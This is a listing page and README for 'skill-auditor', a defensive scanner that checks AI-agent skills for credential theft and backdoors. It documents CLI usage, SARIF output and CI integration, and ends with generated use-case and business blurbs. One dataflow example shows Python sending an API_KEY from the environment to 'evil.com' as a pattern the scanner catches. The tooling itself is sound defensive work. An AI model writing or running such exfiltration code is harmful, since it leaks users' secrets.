skill-auditorSecurity scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.
Install via ClawdBot CLI:
clawdbot install RubenAQuispe/skill-auditorEnhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.
Run the setup wizard to configure optional features:
cd skills/skill-auditor
node scripts/setup.jsThe wizard explains each feature, shows real test data, and lets you choose what to enable.
Scan a skill:
node skills/skill-auditor/scripts/scan-skill.js <skill-directory>Audit all your installed skills:
node skills/skill-auditor/scripts/audit-installed.jsRun the interactive setup to configure optional features:
cd skills/skill-auditor
node scripts/setup.jsThe wizard will:
~/.openclaw/skill-auditor.jsonnode scripts/setup.js # Interactive setup wizard
node scripts/setup.js --status # Show current configuration
node scripts/setup.js --enable-ast # Just enable AST analysisScan every skill in your OpenClaw installation at once:
node scripts/audit-installed.jsOptions:
node scripts/audit-installed.js --severity critical # Only critical issues
node scripts/audit-installed.js --json # Save results to audit-results.json
node scripts/audit-installed.js --verbose # Show top findings per skillOutput:
Works on all platforms with just Node.js (which OpenClaw already provides).
Requires Python 3.8+ and tree-sitter packages.
| Platform | Python Install | Tree-sitter Install |
|----------|----------------|---------------------|
| Windows | Pre-installed or winget install Python.Python.3 | pip install tree-sitter tree-sitter-python |
| macOS | Pre-installed or brew install python3 | pip3 install tree-sitter tree-sitter-python |
| Linux | apt install python3-pip | pip3 install tree-sitter tree-sitter-python |
Note: Tree-sitter has prebuilt wheels for all platforms ā no C++ compiler needed!
Traces data from sources to sinks through code execution paths
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strictWhat it detects:
Example:
# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')
# File 2: main.py
key = get_secrets()
requests.post('evil.com', data=key) # ā Dataflow detected!Scans executable files against 70+ antivirus engines
export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotalSupported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.
Output includes:
Uses AI to understand if detected behaviors match stated intent
# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llmHow it works:
Example:
GitHub Code Scanning compatible format
node scripts/scan-skill.js <skill> --format sarif --fail-on-findingsGitHub integration:
# .github/workflows/skill-scan.yml
- name: Scan Skills
run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarifAdjustable sensitivity levels
--mode strict # All patterns, higher false positives
--mode balanced # Default, optimized accuracy
--mode permissive # Only critical patterns# Scan local skill
node scripts/scan-skill.js ../my-skill
# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json
# Format visual report
node scripts/format-report.js report.json# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
--mode strict \
--use-virustotal \
--use-llm \
--format sarif \
--json full-report.sarif
# CI/CD integration
node scripts/scan-skill.js ../my-skill \
--format sarif \
--fail-on-findings \
--mode balanced# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json# Works immediately ā no installation needed
node skill-auditor/scripts/scan-skill.js <skill>cd skills/skill-auditor
# Install all optional features
npm install
# Or install selectively:
npm install tree-sitter tree-sitter-python # AST analysis
npm install yara # YARA rules (future)
# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"
# LLM analysis requires OpenClaw gateway:
openclaw gateway start{
"skill": { "name": "example", "description": "..." },
"riskLevel": "HIGH",
"accuracyScore": { "score": 7, "reason": "..." },
"findings": [...],
"summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}--format sarifUploads to GitHub Security tab, integrates with pull request checks.
node scripts/format-report.js report.jsonHuman-readable summary with threat gauge and actionable findings.
VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration
DEBUG="1" # Verbose error output--json <file> # JSON output file
--format sarif # SARIF output for GitHub
--mode <mode> # strict|balanced|permissive
--use-virustotal # Enable binary scanning
--use-llm # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings # Exit code 1 for HIGH/CRITICAL
--help # Show all optionsskill-auditor/
āāā scripts/
ā āāā scan-skill.js # Main scanner (v2.0)
ā āāā scan-url.js # Remote GitHub scanning
ā āāā format-report.js # Visual report formatter
ā āāā analyzers/ # Pluggable analysis engines
ā ā āāā static.js # Core regex patterns (zero-dep)
ā ā āāā ast-python.js # Python dataflow analysis
ā ā āāā virustotal.js # Binary malware scanning
ā ā āāā llm-semantic.js # AI-powered intent analysis
ā āāā utils/
ā āāā sarif.js # GitHub Code Scanning output
āāā rules/
ā āāā default.yar # YARA format patterns
āāā package.json # Optional dependencies
āāā references/ # Documentation (unchanged)v1.x commands work unchanged:
node scan-skill.js <skill-dir> # ā
Works
node scan-skill.js <skill-dir> --json out.json # ā
Works
node format-report.js out.json # ā
WorksNew v2.0 features are opt-in:
node scan-skill.js <skill-dir> --use-llm # ā” Enhanced
node scan-skill.js <skill-dir> --use-virustotal # ā” Enhanced"tree-sitter dependencies not available"
npm install tree-sitter tree-sitter-python"VirusTotal API error: 403"
export VIRUSTOTAL_API_KEY="your-actual-key""LLM semantic analysis failed"
# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health"SARIF output not generated"
# Ensure all dependencies installed:
cd skills/skill-auditor && npm installDEBUG=1 node scripts/scan-skill.js <skill>scripts/analyzers/static.jsrules/ directoryscripts/analyzers/ast-python.js# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal
node scripts/scan-skill.js ../secure-browser-agent --format sarifThis scanner is one layer of defense, not a guarantee. Always:
For sensitive environments, enable all advanced features:
node scripts/scan-skill.js <skill> \
--mode strict \
--use-virustotal \
--use-llm \
--fail-on-findingsGenerated Mar 1, 2026
Integrate Skill Auditor into CI/CD pipelines to automatically scan new skills before deployment. This ensures security compliance by detecting malicious code patterns, credential theft attempts, and backdoors in development workflows. Teams can use SARIF output to generate GitHub Code Scanning alerts and block deployments with critical findings.
Deploy Skill Auditor across an organization to audit all installed skills for compliance with internal security policies. Security teams can run batch scans to identify high-risk skills, generate visual reports for stakeholders, and enforce risk thresholds. This helps maintain a secure AI agent ecosystem in regulated industries like finance or healthcare.
Use Skill Auditor as a vetting tool for third-party skills submitted to a marketplace. Scan skills from GitHub URLs to detect threats before listing, apply accuracy scoring to verify behavior matches descriptions, and provide security badges based on risk levels. This builds trust with users downloading community-developed skills.
After a security incident, use Skill Auditor to analyze compromised skills and trace data flows through AST analysis. Identify how credentials were exfiltrated, detect hidden backdoors, and generate detailed threat summaries for post-mortem reports. Optional VirusTotal integration scans binaries for malware signatures.
Incorporate Skill Auditor into developer training programs to teach secure skill development practices. Use its detection modes to demonstrate different threat patterns, show how data flows from sources to sinks, and let trainees scan sample skills. LLM semantic analysis helps explain why certain behaviors are risky.
Offer Skill Auditor as a cloud-based scanning service with API access, continuous monitoring, and premium features like LLM semantic analysis. Charge monthly subscriptions based on scan volume, number of skills monitored, or team size. Include enterprise support, custom threat feeds, and compliance reporting.
Sell annual enterprise licenses for on-premises deployment with advanced features like AST dataflow analysis and VirusTotal integration. Include professional services for customization, integration with existing security tools, and dedicated support. Offer training packages and security consulting for implementation.
Partner with AI agent platforms or skill marketplaces to integrate Skill Auditor as their official vetting tool. Charge integration fees, revenue sharing on premium scans, or transaction fees per skill listed. Provide white-labeled reports and security badges that platforms can display to users.
š¬ Integration Tip
Start with the interactive setup wizard to configure optional features like AST analysis, then integrate basic scanning into existing workflows using JSON or SARIF output for automation.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
Security-first skill vetting for AI agents. Use before installing any skill from ClawdHub, GitHub, or other sources. Checks for red flags, permission scope, and suspicious patterns.
Perform a comprehensive read-only security audit of Clawdbot's own configuration. This is a knowledge-based skill that teaches Clawdbot to identify hardening opportunities across the system. Use when user asks to "run security check", "audit clawdbot", "check security hardening", or "what vulnerabilities does my Clawdbot have". This skill uses Clawdbot's internal capabilities and file system access to inspect configuration, detect misconfigurations, and recommend remediations. It is designed to be extensible - new checks can be added by updating this skill's knowledge.
Use when reviewing code for security vulnerabilities, implementing authentication flows, auditing OWASP Top 10, configuring CORS/CSP headers, handling secrets, input validation, SQL injection prevention, XSS protection, or any security-related code review.
Security check for ClawHub skills powered by Koi. Query the Clawdex API before installing any skill to verify it's safe.
Scan Clawdbot and MCP skills for malware, spyware, crypto-miners, and malicious code patterns before you install them. Security audit tool that detects data exfiltration, system modification attempts, backdoors, and obfuscation techniques.